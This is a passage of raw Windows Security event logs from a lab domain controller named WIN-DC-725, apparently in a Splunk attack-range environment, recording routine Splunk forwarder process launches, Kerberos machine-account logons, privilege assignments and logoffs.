	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x878
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257271
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257273
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257275
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4D9DF2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59558

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:21:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257274
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D9DF2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:21:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257277
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DA525
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{68513207-EE9F-7088-7C79-4A7797658EB5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:21:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257276
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DA525

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/12/2021 02:21:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257278
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D9DF2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:21:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257281
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DB018

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:21:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257280
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DB018
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50779

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:21:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257279
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DB018

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257287
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DB380

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257286
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DB380
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50783

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257285
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DB380

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257284
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DB314

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257283
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4DB314
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		50782

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:22:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257282
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DB314

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:22:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257288
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257289
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257290
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x828
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257291
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257305
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DCF0C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257304
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4DD01C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:22:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
